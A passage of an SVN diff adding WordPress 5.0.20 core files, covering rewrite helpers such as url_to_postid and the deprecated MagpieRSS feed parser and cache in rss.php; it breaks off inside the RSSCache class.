+		$wp_rewrite->feeds[] = $feedname;
+	}
+
+	$hook = 'do_feed_' . $feedname;
+
+	// Remove default function hook
+	remove_action( $hook, $hook );
+
+	add_action( $hook, $function, 10, 2 );
+
+	return $hook;
+}
+
+/**
+ * Remove rewrite rules and then recreate rewrite rules.
+ *
+ * @since 3.0.0
+ *
+ * @global WP_Rewrite $wp_rewrite
+ *
+ * @param bool $hard Whether to update .htaccess (hard flush) or just update
+ * 	                 rewrite_rules transient (soft flush). Default is true (hard).
+ */
+function flush_rewrite_rules( $hard = true ) {
+	global $wp_rewrite;
+	$wp_rewrite->flush_rules( $hard );
+}
+
+/**
+ * Add an endpoint, like /trackback/.
+ *
+ * Adding an endpoint creates extra rewrite rules for each of the matching
+ * places specified by the provided bitmask. For example:
+ *
+ *     add_rewrite_endpoint( 'json', EP_PERMALINK | EP_PAGES );
+ *
+ * will add a new rewrite rule ending with "json(/(.*))?/?$" for every permastruct
+ * that describes a permalink (post) or page. This is rewritten to "json=$match"
+ * where $match is the part of the URL matched by the endpoint regex (e.g. "foo" in
+ * "[permalink]/json/foo/").
+ *
+ * A new query var with the same name as the endpoint will also be created.
+ *
+ * When specifying $places ensure that you are using the EP_* constants (or a
+ * combination of them using the bitwise OR operator) as their values are not
+ * guaranteed to remain static (especially `EP_ALL`).
+ *
+ * Be sure to flush the rewrite rules - see flush_rewrite_rules() - when your plugin gets
+ * activated and deactivated.
+ *
+ * @since 2.1.0
+ * @since 4.3.0 Added support for skipping query var registration by passing `false` to `$query_var`.
+ *
+ * @global WP_Rewrite $wp_rewrite
+ *
+ * @param string      $name      Name of the endpoint.
+ * @param int         $places    Endpoint mask describing the places the endpoint should be added.
+ * @param string|bool $query_var Name of the corresponding query variable. Pass `false` to skip registering a query_var
+ *                               for this endpoint. Defaults to the value of `$name`.
+ */
+function add_rewrite_endpoint( $name, $places, $query_var = true ) {
+	global $wp_rewrite;
+	$wp_rewrite->add_endpoint( $name, $places, $query_var );
+}
+
+/**
+ * Filters the URL base for taxonomies.
+ *
+ * To remove any manually prepended /index.php/.
+ *
+ * @access private
+ * @since 2.6.0
+ *
+ * @param string $base The taxonomy base that we're going to filter
+ * @return string
+ */
+function _wp_filter_taxonomy_base( $base ) {
+	if ( !empty( $base ) ) {
+		$base = preg_replace( '|^/index\.php/|', '', $base );
+		$base = trim( $base, '/' );
+	}
+	return $base;
+}
+
+
+/**
+ * Resolve numeric slugs that collide with date permalinks.
+ *
+ * Permalinks of posts with numeric slugs can sometimes look to WP_Query::parse_query()
+ * like a date archive, as when your permalink structure is `/%year%/%postname%/` and
+ * a post with post_name '05' has the URL `/2015/05/`.
+ *
+ * This function detects conflicts of this type and resolves them in favor of the
+ * post permalink.
+ *
+ * Note that, since 4.3.0, wp_unique_post_slug() prevents the creation of post slugs
+ * that would result in a date archive conflict. The resolution performed in this
+ * function is primarily for legacy content, as well as cases when the admin has changed
+ * the site's permalink structure in a way that introduces URL conflicts.
+ *
+ * @since 4.3.0
+ *
+ * @param array $query_vars Optional. Query variables for setting up the loop, as determined in
+ *                          WP::parse_request(). Default empty array.
+ * @return array Returns the original array of query vars, with date/post conflicts resolved.
+ */
+function wp_resolve_numeric_slug_conflicts( $query_vars = array() ) {
+	if ( ! isset( $query_vars['year'] ) && ! isset( $query_vars['monthnum'] ) && ! isset( $query_vars['day'] ) ) {
+		return $query_vars;
+	}
+
+	// Identify the 'postname' position in the permastruct array.
+	$permastructs   = array_values( array_filter( explode( '/', get_option( 'permalink_structure' ) ) ) );
+	$postname_index = array_search( '%postname%', $permastructs );
+
+	if ( false === $postname_index ) {
+		return $query_vars;
+	}
+
+	/*
+	 * A numeric slug could be confused with a year, month, or day, depending on position. To account for
+	 * the possibility of post pagination (eg 2015/2 for the second page of a post called '2015'), our
+	 * `is_*` checks are generous: check for year-slug clashes when `is_year` *or* `is_month`, and check
+	 * for month-slug clashes when `is_month` *or* `is_day`.
+	 */
+	$compare = '';
+	if ( 0 === $postname_index && ( isset( $query_vars['year'] ) || isset( $query_vars['monthnum'] ) ) ) {
+		$compare = 'year';
+	} elseif ( '%year%' === $permastructs[ $postname_index - 1 ] && ( isset( $query_vars['monthnum'] ) || isset( $query_vars['day'] ) ) ) {
+		$compare = 'monthnum';
+	} elseif ( '%monthnum%' === $permastructs[ $postname_index - 1 ] && isset( $query_vars['day'] ) ) {
+		$compare = 'day';
+	}
+
+	if ( ! $compare ) {
+		return $query_vars;
+	}
+
+	// This is the potentially clashing slug.
+	$value = $query_vars[ $compare ];
+
+	$post = get_page_by_path( $value, OBJECT, 'post' );
+	if ( ! ( $post instanceof WP_Post ) ) {
+		return $query_vars;
+	}
+
+	// If the date of the post doesn't match the date specified in the URL, resolve to the date archive.
+	if ( preg_match( '/^([0-9]{4})\-([0-9]{2})/', $post->post_date, $matches ) && isset( $query_vars['year'] ) && ( 'monthnum' === $compare || 'day' === $compare ) ) {
+		// $matches[1] is the year the post was published.
+		if ( intval( $query_vars['year'] ) !== intval( $matches[1] ) ) {
+			return $query_vars;
+		}
+
+		// $matches[2] is the month the post was published.
+		if ( 'day' === $compare && isset( $query_vars['monthnum'] ) && intval( $query_vars['monthnum'] ) !== intval( $matches[2] ) ) {
+			return $query_vars;
+		}
+	}
+
+	/*
+	 * If the located post contains nextpage pagination, then the URL chunk following postname may be
+	 * intended as the page number. Verify that it's a valid page before resolving to it.
+	 */
+	$maybe_page = '';
+	if ( 'year' === $compare && isset( $query_vars['monthnum'] ) ) {
+		$maybe_page = $query_vars['monthnum'];
+	} elseif ( 'monthnum' === $compare && isset( $query_vars['day'] ) ) {
+		$maybe_page = $query_vars['day'];
+	}
+	// Bug found in #11694 - 'page' was returning '/4'
+	$maybe_page = (int) trim( $maybe_page, '/' );
+
+	$post_page_count = substr_count( $post->post_content, '<!--nextpage-->' ) + 1;
+
+	// If the post doesn't have multiple pages, but a 'page' candidate is found, resolve to the date archive.
+	if ( 1 === $post_page_count && $maybe_page ) {
+		return $query_vars;
+	}
+
+	// If the post has multiple pages and the 'page' number isn't valid, resolve to the date archive.
+	if ( $post_page_count > 1 && $maybe_page > $post_page_count ) {
+		return $query_vars;
+	}
+
+	// If we've gotten to this point, we have a slug/date clash. First, adjust for nextpage.
+	if ( '' !== $maybe_page ) {
+		$query_vars['page'] = intval( $maybe_page );
+	}
+
+	// Next, unset autodetected date-related query vars.
+	unset( $query_vars['year'] );
+	unset( $query_vars['monthnum'] );
+	unset( $query_vars['day'] );
+
+	// Then, set the identified post.
+	$query_vars['name'] = $post->post_name;
+
+	// Finally, return the modified query vars.
+	return $query_vars;
+}
+
+/**
+ * Examine a URL and try to determine the post ID it represents.
+ *
+ * Checks are supposedly from the hosted site blog.
+ *
+ * @since 1.0.0
+ *
+ * @global WP_Rewrite $wp_rewrite
+ * @global WP         $wp
+ *
+ * @param string $url Permalink to check.
+ * @return int Post ID, or 0 on failure.
+ */
+function url_to_postid( $url ) {
+	global $wp_rewrite;
+
+	/**
+	 * Filters the URL to derive the post ID from.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param string $url The URL to derive the post ID from.
+	 */
+	$url = apply_filters( 'url_to_postid', $url );
+
+	$url_host      = str_replace( 'www.', '', parse_url( $url, PHP_URL_HOST ) );
+	$home_url_host = str_replace( 'www.', '', parse_url( home_url(), PHP_URL_HOST ) );
+
+	// Bail early if the URL does not belong to this site.
+	if ( $url_host && $url_host !== $home_url_host ) {
+		return 0;
+	}
+
+	// First, check to see if there is a 'p=N' or 'page_id=N' to match against
+	if ( preg_match('#[?&](p|page_id|attachment_id)=(\d+)#', $url, $values) )	{
+		$id = absint($values[2]);
+		if ( $id )
+			return $id;
+	}
+
+	// Get rid of the #anchor
+	$url_split = explode('#', $url);
+	$url = $url_split[0];
+
+	// Get rid of URL ?query=string
+	$url_split = explode('?', $url);
+	$url = $url_split[0];
+
+	// Set the correct URL scheme.
+	$scheme = parse_url( home_url(), PHP_URL_SCHEME );
+	$url = set_url_scheme( $url, $scheme );
+
+	// Add 'www.' if it is absent and should be there
+	if ( false !== strpos(home_url(), '://www.') && false === strpos($url, '://www.') )
+		$url = str_replace('://', '://www.', $url);
+
+	// Strip 'www.' if it is present and shouldn't be
+	if ( false === strpos(home_url(), '://www.') )
+		$url = str_replace('://www.', '://', $url);
+
+	if ( trim( $url, '/' ) === home_url() && 'page' == get_option( 'show_on_front' ) ) {
+		$page_on_front = get_option( 'page_on_front' );
+
+		if ( $page_on_front && get_post( $page_on_front ) instanceof WP_Post ) {
+			return (int) $page_on_front;
+		}
+	}
+
+	// Check to see if we are using rewrite rules
+	$rewrite = $wp_rewrite->wp_rewrite_rules();
+
+	// Not using rewrite rules, and 'p=N' and 'page_id=N' methods failed, so we're out of options
+	if ( empty($rewrite) )
+		return 0;
+
+	// Strip 'index.php/' if we're not using path info permalinks
+	if ( !$wp_rewrite->using_index_permalinks() )
+		$url = str_replace( $wp_rewrite->index . '/', '', $url );
+
+	if ( false !== strpos( trailingslashit( $url ), home_url( '/' ) ) ) {
+		// Chop off http://domain.com/[path]
+		$url = str_replace(home_url(), '', $url);
+	} else {
+		// Chop off /path/to/blog
+		$home_path = parse_url( home_url( '/' ) );
+		$home_path = isset( $home_path['path'] ) ? $home_path['path'] : '' ;
+		$url = preg_replace( sprintf( '#^%s#', preg_quote( $home_path ) ), '', trailingslashit( $url ) );
+	}
+
+	// Trim leading and lagging slashes
+	$url = trim($url, '/');
+
+	$request = $url;
+	$post_type_query_vars = array();
+
+	foreach ( get_post_types( array() , 'objects' ) as $post_type => $t ) {
+		if ( ! empty( $t->query_var ) )
+			$post_type_query_vars[ $t->query_var ] = $post_type;
+	}
+
+	// Look for matches.
+	$request_match = $request;
+	foreach ( (array)$rewrite as $match => $query) {
+
+		// If the requesting file is the anchor of the match, prepend it
+		// to the path info.
+		if ( !empty($url) && ($url != $request) && (strpos($match, $url) === 0) )
+			$request_match = $url . '/' . $request;
+
+		if ( preg_match("#^$match#", $request_match, $matches) ) {
+
+			if ( $wp_rewrite->use_verbose_page_rules && preg_match( '/pagename=\$matches\[([0-9]+)\]/', $query, $varmatch ) ) {
+				// This is a verbose page match, let's check to be sure about it.
+				$page = get_page_by_path( $matches[ $varmatch[1] ] );
+				if ( ! $page ) {
+					continue;
+				}
+
+				$post_status_obj = get_post_status_object( $page->post_status );
+				if ( ! $post_status_obj->public && ! $post_status_obj->protected
+					&& ! $post_status_obj->private && $post_status_obj->exclude_from_search ) {
+					continue;
+				}
+			}
+
+			// Got a match.
+			// Trim the query of everything up to the '?'.
+			$query = preg_replace("!^.+\?!", '', $query);
+
+			// Substitute the substring matches into the query.
+			$query = addslashes(WP_MatchesMapRegex::apply($query, $matches));
+
+			// Filter out non-public query vars
+			global $wp;
+			parse_str( $query, $query_vars );
+			$query = array();
+			foreach ( (array) $query_vars as $key => $value ) {
+				if ( in_array( $key, $wp->public_query_vars ) ){
+					$query[$key] = $value;
+					if ( isset( $post_type_query_vars[$key] ) ) {
+						$query['post_type'] = $post_type_query_vars[$key];
+						$query['name'] = $value;
+					}
+				}
+			}
+
+			// Resolve conflicts between posts with numeric slugs and date archive queries.
+			$query = wp_resolve_numeric_slug_conflicts( $query );
+
+			// Do the query
+			$query = new WP_Query( $query );
+			if ( ! empty( $query->posts ) && $query->is_singular )
+				return $query->post->ID;
+			else
+				return 0;
+		}
+	}
+	return 0;
+}
Index: /tags/5.0.20/src/wp-includes/rss-functions.php
===================================================================
--- /tags/5.0.20/src/wp-includes/rss-functions.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/rss-functions.php	(revision 56912)
@@ -0,0 +1,9 @@
+<?php
+/**
+ * Deprecated. Use rss.php instead.
+ *
+ * @package WordPress
+ */
+
+_deprecated_file( basename(__FILE__), '2.1.0', WPINC . '/rss.php' );
+require_once( ABSPATH . WPINC . '/rss.php' );
Index: /tags/5.0.20/src/wp-includes/rss.php
===================================================================
--- /tags/5.0.20/src/wp-includes/rss.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/rss.php	(revision 56912)
@@ -0,0 +1,954 @@
+<?php
+/**
+ * MagpieRSS: a simple RSS integration tool
+ *
+ * A compiled file for RSS syndication
+ *
+ * @author Kellan Elliott-McCrea <kellan@protest.net>
+ * @version 0.51
+ * @license GPL
+ *
+ * @package External
+ * @subpackage MagpieRSS
+ * @deprecated 3.0.0 Use SimplePie instead.
+ */
+
+/**
+ * Deprecated. Use SimplePie (class-simplepie.php) instead.
+ */
+_deprecated_file( basename( __FILE__ ), '3.0.0', WPINC . '/class-simplepie.php' );
+
+/**
+ * Fires before MagpieRSS is loaded, to optionally replace it.
+ *
+ * @since 2.3.0
+ * @deprecated 3.0.0
+ */
+do_action( 'load_feed_engine' );
+
+/** RSS feed constant. */
+define('RSS', 'RSS');
+define('ATOM', 'Atom');
+define('MAGPIE_USER_AGENT', 'WordPress/' . $GLOBALS['wp_version']);
+
+class MagpieRSS {
+	var $parser;
+	var $current_item	= array();	// item currently being parsed
+	var $items			= array();	// collection of parsed items
+	var $channel		= array();	// hash of channel fields
+	var $textinput		= array();
+	var $image			= array();
+	var $feed_type;
+	var $feed_version;
+
+	// parser variables
+	var $stack				= array(); // parser stack
+	var $inchannel			= false;
+	var $initem 			= false;
+	var $incontent			= false; // if in Atom <content mode="xml"> field
+	var $intextinput		= false;
+	var $inimage 			= false;
+	var $current_field		= '';
+	var $current_namespace	= false;
+
+	//var $ERROR = "";
+
+	var $_CONTENT_CONSTRUCTS = array('content', 'summary', 'info', 'title', 'tagline', 'copyright');
+
+	/**
+	 * PHP5 constructor.
+	 */
+	function __construct( $source ) {
+
+		# Check if PHP xml isn't compiled
+		#
+		if ( ! function_exists('xml_parser_create') ) {
+			return trigger_error( "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." );
+		}
+
+		$parser = xml_parser_create();
+
+		$this->parser = $parser;
+
+		# pass in parser, and a reference to this object
+		# set up handlers
+		#
+		xml_set_object( $this->parser, $this );
+		xml_set_element_handler($this->parser,
+				'feed_start_element', 'feed_end_element' );
+
+		xml_set_character_data_handler( $this->parser, 'feed_cdata' );
+
+		$status = xml_parse( $this->parser, $source );
+
+		if (! $status ) {
+			$errorcode = xml_get_error_code( $this->parser );
+			if ( $errorcode != XML_ERROR_NONE ) {
+				$xml_error = xml_error_string( $errorcode );
+				$error_line = xml_get_current_line_number($this->parser);
+				$error_col = xml_get_current_column_number($this->parser);
+				$errormsg = "$xml_error at line $error_line, column $error_col";
+
+				$this->error( $errormsg );
+			}
+		}
+
+		xml_parser_free( $this->parser );
+
+		$this->normalize();
+	}
+
+	/**
+	 * PHP4 constructor.
+	 */
+	public function MagpieRSS( $source ) {
+		self::__construct( $source );
+	}
+
+	function feed_start_element($p, $element, &$attrs) {
+		$el = $element = strtolower($element);
+		$attrs = array_change_key_case($attrs, CASE_LOWER);
+
+		// check for a namespace, and split if found
+		$ns	= false;
+		if ( strpos( $element, ':' ) ) {
+			list($ns, $el) = explode( ':', $element, 2);
+		}
+		if ( $ns and $ns != 'rdf' ) {
+			$this->current_namespace = $ns;
+		}
+
+		# if feed type isn't set, then this is first element of feed
+		# identify feed from root element
+		#
+		if (!isset($this->feed_type) ) {
+			if ( $el == 'rdf' ) {
+				$this->feed_type = RSS;
+				$this->feed_version = '1.0';
+			}
+			elseif ( $el == 'rss' ) {
+				$this->feed_type = RSS;
+				$this->feed_version = $attrs['version'];
+			}
+			elseif ( $el == 'feed' ) {
+				$this->feed_type = ATOM;
+				$this->feed_version = $attrs['version'];
+				$this->inchannel = true;
+			}
+			return;
+		}
+
+		if ( $el == 'channel' )
+		{
+			$this->inchannel = true;
+		}
+		elseif ($el == 'item' or $el == 'entry' )
+		{
+			$this->initem = true;
+			if ( isset($attrs['rdf:about']) ) {
+				$this->current_item['about'] = $attrs['rdf:about'];
+			}
+		}
+
+		// if we're in the default namespace of an RSS feed,
+		//  record textinput or image fields
+		elseif (
+			$this->feed_type == RSS and
+			$this->current_namespace == '' and
+			$el == 'textinput' )
+		{
+			$this->intextinput = true;
+		}
+
+		elseif (
+			$this->feed_type == RSS and
+			$this->current_namespace == '' and
+			$el == 'image' )
+		{
+			$this->inimage = true;
+		}
+
+		# handle atom content constructs
+		elseif ( $this->feed_type == ATOM and in_array($el, $this->_CONTENT_CONSTRUCTS) )
+		{
+			// avoid clashing w/ RSS mod_content
+			if ($el == 'content' ) {
+				$el = 'atom_content';
+			}
+
+			$this->incontent = $el;
+
+		}
+
+		// if inside an Atom content construct (e.g. content or summary) field treat tags as text
+		elseif ($this->feed_type == ATOM and $this->incontent )
+		{
+			// if tags are inlined, then flatten
+			$attrs_str = join(' ',
+					array_map(array('MagpieRSS', 'map_attrs'),
+					array_keys($attrs),
+					array_values($attrs) ) );
+
+			$this->append_content( "<$element $attrs_str>"  );
+
+			array_unshift( $this->stack, $el );
+		}
+
+		// Atom support many links per containging element.
+		// Magpie treats link elements of type rel='alternate'
+		// as being equivalent to RSS's simple link element.
+		//
+		elseif ($this->feed_type == ATOM and $el == 'link' )
+		{
+			if ( isset($attrs['rel']) and $attrs['rel'] == 'alternate' )
+			{
+				$link_el = 'link';
+			}
+			else {
+				$link_el = 'link_' . $attrs['rel'];
+			}
+
+			$this->append($link_el, $attrs['href']);
+		}
+		// set stack[0] to current element
+		else {
+			array_unshift($this->stack, $el);
+		}
+	}
+
+	function feed_cdata ($p, $text) {
+
+		if ($this->feed_type == ATOM and $this->incontent)
+		{
+			$this->append_content( $text );
+		}
+		else {
+			$current_el = join('_', array_reverse($this->stack));
+			$this->append($current_el, $text);
+		}
+	}
+
+	function feed_end_element ($p, $el) {
+		$el = strtolower($el);
+
+		if ( $el == 'item' or $el == 'entry' )
+		{
+			$this->items[] = $this->current_item;
+			$this->current_item = array();
+			$this->initem = false;
+		}
+		elseif ($this->feed_type == RSS and $this->current_namespace == '' and $el == 'textinput' )
+		{
+			$this->intextinput = false;
+		}
+		elseif ($this->feed_type == RSS and $this->current_namespace == '' and $el == 'image' )
+		{
+			$this->inimage = false;
+		}
+		elseif ($this->feed_type == ATOM and in_array($el, $this->_CONTENT_CONSTRUCTS) )
+		{
+			$this->incontent = false;
+		}
+		elseif ($el == 'channel' or $el == 'feed' )
+		{
+			$this->inchannel = false;
+		}
+		elseif ($this->feed_type == ATOM and $this->incontent  ) {
+			// balance tags properly
+			// note: This may not actually be necessary
+			if ( $this->stack[0] == $el )
+			{
+				$this->append_content("</$el>");
+			}
+			else {
+				$this->append_content("<$el />");
+			}
+
+			array_shift( $this->stack );
+		}
+		else {
+			array_shift( $this->stack );
+		}
+
+		$this->current_namespace = false;
+	}
+
+	function concat (&$str1, $str2="") {
+		if (!isset($str1) ) {
+			$str1="";
+		}
+		$str1 .= $str2;
+	}
+
+	function append_content($text) {
+		if ( $this->initem ) {
+			$this->concat( $this->current_item[ $this->incontent ], $text );
+		}
+		elseif ( $this->inchannel ) {
+			$this->concat( $this->channel[ $this->incontent ], $text );
+		}
+	}
+
+	// smart append - field and namespace aware
+	function append($el, $text) {
+		if (!$el) {
+			return;
+		}
+		if ( $this->current_namespace )
+		{
+			if ( $this->initem ) {
+				$this->concat(
+					$this->current_item[ $this->current_namespace ][ $el ], $text);
+			}
+			elseif ($this->inchannel) {
+				$this->concat(
+					$this->channel[ $this->current_namespace][ $el ], $text );
+			}
+			elseif ($this->intextinput) {
+				$this->concat(
+					$this->textinput[ $this->current_namespace][ $el ], $text );
+			}
+			elseif ($this->inimage) {
+				$this->concat(
+					$this->image[ $this->current_namespace ][ $el ], $text );
+			}
+		}
+		else {
+			if ( $this->initem ) {
+				$this->concat(
+					$this->current_item[ $el ], $text);
+			}
+			elseif ($this->intextinput) {
+				$this->concat(
+					$this->textinput[ $el ], $text );
+			}
+			elseif ($this->inimage) {
+				$this->concat(
+					$this->image[ $el ], $text );
+			}
+			elseif ($this->inchannel) {
+				$this->concat(
+					$this->channel[ $el ], $text );
+			}
+
+		}
+	}
+
+	function normalize () {
+		// if atom populate rss fields
+		if ( $this->is_atom() ) {
+			$this->channel['descripton'] = $this->channel['tagline'];
+			for ( $i = 0; $i < count($this->items); $i++) {
+				$item = $this->items[$i];
+				if ( isset($item['summary']) )
+					$item['description'] = $item['summary'];
+				if ( isset($item['atom_content']))
+					$item['content']['encoded'] = $item['atom_content'];
+
+				$this->items[$i] = $item;
+			}
+		}
+		elseif ( $this->is_rss() ) {
+			$this->channel['tagline'] = $this->channel['description'];
+			for ( $i = 0; $i < count($this->items); $i++) {
+				$item = $this->items[$i];
+				if ( isset($item['description']))
+					$item['summary'] = $item['description'];
+				if ( isset($item['content']['encoded'] ) )
+					$item['atom_content'] = $item['content']['encoded'];
+
+				$this->items[$i] = $item;
+			}
+		}
+	}
+
+	function is_rss () {
+		if ( $this->feed_type == RSS ) {
+			return $this->feed_version;
+		}
+		else {
+			return false;
+		}
+	}
+
+	function is_atom() {
+		if ( $this->feed_type == ATOM ) {
+			return $this->feed_version;
+		}
+		else {
+			return false;
+		}
+	}
+
+	function map_attrs($k, $v) {
+		return "$k=\"$v\"";
+	}
+
+	function error( $errormsg, $lvl = E_USER_WARNING ) {
+		// append PHP's error message if track_errors enabled
+		if ( isset($php_errormsg) ) {
+			$errormsg .= " ($php_errormsg)";
+		}
+		if ( MAGPIE_DEBUG ) {
+			trigger_error( $errormsg, $lvl);
+		} else {
+			error_log( $errormsg, 0);
+		}
+	}
+
+}
+
+if ( !function_exists('fetch_rss') ) :
+/**
+ * Build Magpie object based on RSS from URL.
+ *
+ * @since 1.5.0
+ * @package External
+ * @subpackage MagpieRSS
+ *
+ * @param string $url URL to retrieve feed
+ * @return bool|MagpieRSS false on failure or MagpieRSS object on success.
+ */
+function fetch_rss ($url) {
+	// initialize constants
+	init();
+
+	if ( !isset($url) ) {
+		// error("fetch_rss called without a url");
+		return false;
+	}
+
+	// if cache is disabled
+	if ( !MAGPIE_CACHE_ON ) {
+		// fetch file, and parse it
+		$resp = _fetch_remote_file( $url );
+		if ( is_success( $resp->status ) ) {
+			return _response_to_rss( $resp );
+		}
+		else {
+			// error("Failed to fetch $url and cache is off");
+			return false;
+		}
+	}
+	// else cache is ON
+	else {
+		// Flow
+		// 1. check cache
+		// 2. if there is a hit, make sure it's fresh
+		// 3. if cached obj fails freshness check, fetch remote
+		// 4. if remote fails, return stale object, or error
+
+		$cache = new RSSCache( MAGPIE_CACHE_DIR, MAGPIE_CACHE_AGE );
+
+		if (MAGPIE_DEBUG and $cache->ERROR) {
+			debug($cache->ERROR, E_USER_WARNING);
+		}
+
+		$cache_status 	 = 0;		// response of check_cache
+		$request_headers = array(); // HTTP headers to send with fetch
+		$rss 			 = 0;		// parsed RSS object
+		$errormsg		 = 0;		// errors, if any
+
+		if (!$cache->ERROR) {
+			// return cache HIT, MISS, or STALE
+			$cache_status = $cache->check_cache( $url );
+		}
+
+		// if object cached, and cache is fresh, return cached obj
+		if ( $cache_status == 'HIT' ) {
+			$rss = $cache->get( $url );
+			if ( isset($rss) and $rss ) {
+				$rss->from_cache = 1;
+				if ( MAGPIE_DEBUG > 1) {
+				debug("MagpieRSS: Cache HIT", E_USER_NOTICE);
+			}
+				return $rss;
+			}
+		}
+
+		// else attempt a conditional get
+
+		// set up headers
+		if ( $cache_status == 'STALE' ) {
+			$rss = $cache->get( $url );
+			if ( isset($rss->etag) and $rss->last_modified ) {
+				$request_headers['If-None-Match'] = $rss->etag;
+				$request_headers['If-Last-Modified'] = $rss->last_modified;
+			}
+		}
+
+		$resp = _fetch_remote_file( $url, $request_headers );
+
+		if (isset($resp) and $resp) {
+			if ($resp->status == '304' ) {
+				// we have the most current copy
+				if ( MAGPIE_DEBUG > 1) {
+					debug("Got 304 for $url");
+				}
+				// reset cache on 304 (at minutillo insistent prodding)
+				$cache->set($url, $rss);
+				return $rss;
+			}
+			elseif ( is_success( $resp->status ) ) {
+				$rss = _response_to_rss( $resp );
+				if ( $rss ) {
+					if (MAGPIE_DEBUG > 1) {
+						debug("Fetch successful");
+					}
+					// add object to cache
+					$cache->set( $url, $rss );
+					return $rss;
+				}
+			}
+			else {
+				$errormsg = "Failed to fetch $url. ";
+				if ( $resp->error ) {
+					# compensate for Snoopy's annoying habbit to tacking
+					# on '\n'
+					$http_error = substr($resp->error, 0, -2);
+					$errormsg .= "(HTTP Error: $http_error)";
+				}
+				else {
+					$errormsg .=  "(HTTP Response: " . $resp->response_code .')';
+				}
+			}
+		}
+		else {
+			$errormsg = "Unable to retrieve RSS file for unknown reasons.";
+		}
+
+		// else fetch failed
+
+		// attempt to return cached object
+		if ($rss) {
+			if ( MAGPIE_DEBUG ) {
+				debug("Returning STALE object for $url");
+			}
+			return $rss;
+		}
+
+		// else we totally failed
+		// error( $errormsg );
+
+		return false;
+
+	} // end if ( !MAGPIE_CACHE_ON ) {
+} // end fetch_rss()
+endif;
+
+/**
+ * Retrieve URL headers and content using WP HTTP Request API.
+ *
+ * @since 1.5.0
+ * @package External
+ * @subpackage MagpieRSS
+ *
+ * @param string $url URL to retrieve
+ * @param array $headers Optional. Headers to send to the URL.
+ * @return Snoopy style response
+ */
+function _fetch_remote_file($url, $headers = "" ) {
+	$resp = wp_safe_remote_request( $url, array( 'headers' => $headers, 'timeout' => MAGPIE_FETCH_TIME_OUT ) );
+	if ( is_wp_error($resp) ) {
+		$error = array_shift($resp->errors);
+
+		$resp = new stdClass;
+		$resp->status = 500;
+		$resp->response_code = 500;
+		$resp->error = $error[0] . "\n"; //\n = Snoopy compatibility
+		return $resp;
+	}
+
+	// Snoopy returns headers unprocessed.
+	// Also note, WP_HTTP lowercases all keys, Snoopy did not.
+	$return_headers = array();
+	foreach ( wp_remote_retrieve_headers( $resp ) as $key => $value ) {
+		if ( !is_array($value) ) {
+			$return_headers[] = "$key: $value";
+		} else {
+			foreach ( $value as $v )
+				$return_headers[] = "$key: $v";
+		}
+	}
+
+	$response = new stdClass;
+	$response->status = wp_remote_retrieve_response_code( $resp );
+	$response->response_code = wp_remote_retrieve_response_code( $resp );
+	$response->headers = $return_headers;
+	$response->results = wp_remote_retrieve_body( $resp );
+
+	return $response;
+}
+
+/**
+ * Retrieve
+ *
+ * @since 1.5.0
+ * @package External
+ * @subpackage MagpieRSS
+ *
+ * @param array $resp
+ * @return MagpieRSS|bool
+ */
+function _response_to_rss ($resp) {
+	$rss = new MagpieRSS( $resp->results );
+
+	// if RSS parsed successfully
+	if ( $rss && (!isset($rss->ERROR) || !$rss->ERROR) ) {
+
+		// find Etag, and Last-Modified
+		foreach ( (array) $resp->headers as $h) {
+			// 2003-03-02 - Nicola Asuni (www.tecnick.com) - fixed bug "Undefined offset: 1"
+			if (strpos($h, ": ")) {
+				list($field, $val) = explode(": ", $h, 2);
+			}
+			else {
+				$field = $h;
+				$val = "";
+			}
+
+			if ( $field == 'etag' ) {
+				$rss->etag = $val;
+			}
+
+			if ( $field == 'last-modified' ) {
+				$rss->last_modified = $val;
+			}
+		}
+
+		return $rss;
+	} // else construct error message
+	else {
+		$errormsg = "Failed to parse RSS file.";
+
+		if ($rss) {
+			$errormsg .= " (" . $rss->ERROR . ")";
+		}
+		// error($errormsg);
+
+		return false;
+	} // end if ($rss and !$rss->error)
+}
+
+/**
+ * Set up constants with default values, unless user overrides.
+ *
+ * @since 1.5.0
+ * @package External
+ * @subpackage MagpieRSS
+ */
+function init () {
+	if ( defined('MAGPIE_INITALIZED') ) {
+		return;
+	}
+	else {
+		define('MAGPIE_INITALIZED', 1);
+	}
+
+	if ( !defined('MAGPIE_CACHE_ON') ) {
+		define('MAGPIE_CACHE_ON', 1);
+	}
+
+	if ( !defined('MAGPIE_CACHE_DIR') ) {
+		define('MAGPIE_CACHE_DIR', './cache');
+	}
+
+	if ( !defined('MAGPIE_CACHE_AGE') ) {
+		define('MAGPIE_CACHE_AGE', 60*60); // one hour
+	}
+
+	if ( !defined('MAGPIE_CACHE_FRESH_ONLY') ) {
+		define('MAGPIE_CACHE_FRESH_ONLY', 0);
+	}
+
+		if ( !defined('MAGPIE_DEBUG') ) {
+		define('MAGPIE_DEBUG', 0);
+	}
+
+	if ( !defined('MAGPIE_USER_AGENT') ) {
+		$ua = 'WordPress/' . $GLOBALS['wp_version'];
+
+		if ( MAGPIE_CACHE_ON ) {
+			$ua = $ua . ')';
+		}
+		else {
+			$ua = $ua . '; No cache)';
+		}
+
+		define('MAGPIE_USER_AGENT', $ua);
+	}
+
+	if ( !defined('MAGPIE_FETCH_TIME_OUT') ) {
+		define('MAGPIE_FETCH_TIME_OUT', 2);	// 2 second timeout
+	}
+
+	// use gzip encoding to fetch rss files if supported?
+	if ( !defined('MAGPIE_USE_GZIP') ) {
+		define('MAGPIE_USE_GZIP', true);
+	}
+}
+
+function is_info ($sc) {
+	return $sc >= 100 && $sc < 200;
+}
+
+function is_success ($sc) {
+	return $sc >= 200 && $sc < 300;
+}
+
+function is_redirect ($sc) {
+	return $sc >= 300 && $sc < 400;
+}
+
+function is_error ($sc) {
+	return $sc >= 400 && $sc < 600;
+}
+
+function is_client_error ($sc) {
+	return $sc >= 400 && $sc < 500;
+}
+
+function is_server_error ($sc) {
+	return $sc >= 500 && $sc < 600;
+}
+
+class RSSCache {
+	var $BASE_CACHE;	// where the cache files are stored
+	var $MAX_AGE	= 43200;  		// when are files stale, default twelve hours
+	var $ERROR 		= '';			// accumulate error messages
+
+	/**
+	 * PHP5 constructor.
+	 */
+	function __construct( $base = '', $age = '' ) {
+		$this->BASE_CACHE = WP_CONTENT_DIR . '/cache';
+		if ( $base ) {
+			$this->BASE_CACHE = $base;
+		}
+		if ( $age ) {
+			$this->MAX_AGE = $age;
+		}
+
+	}
+
+	/**
+	 * PHP4 constructor.
+	 */
